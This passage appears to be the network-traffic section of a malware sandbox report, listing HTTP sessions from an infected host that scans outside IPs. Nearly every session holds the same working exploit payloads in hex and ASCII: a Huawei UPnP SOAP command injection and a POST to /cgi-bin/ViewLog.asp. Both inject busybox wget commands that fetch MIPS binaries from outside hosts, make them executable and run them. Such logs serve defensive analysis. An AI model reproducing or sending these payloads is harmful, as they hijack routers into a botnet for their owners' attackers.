70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:31.782546043 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	54238	31.136.138.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.922549963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:31.494669914 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:32.646919966 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:34.950628042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:39.558594942 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:48.774586916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:07.206573963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:44.070517063 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	40992	94.111.39.150	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:31.112052917 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	42854	31.200.63.169	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:31.139111042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	52568	94.121.124.70	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:31.145170927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	46020	95.179.157.38	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:31.809623003 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	41130	31.136.56.187	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:31.813219070 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:32.390686989 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:33.510636091 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:35.718645096 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:40.326698065 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:49.286581993 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:07.206557035 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:44.070516109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	59022	62.29.126.147	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:31.849586010 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	53952	85.255.11.75	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.326539040 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:36.522336960 CET	113	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	49140	94.122.106.95	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.372819901 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	58532	31.200.62.43	8080

Timestamp	Bytes transferred	Direction	Data
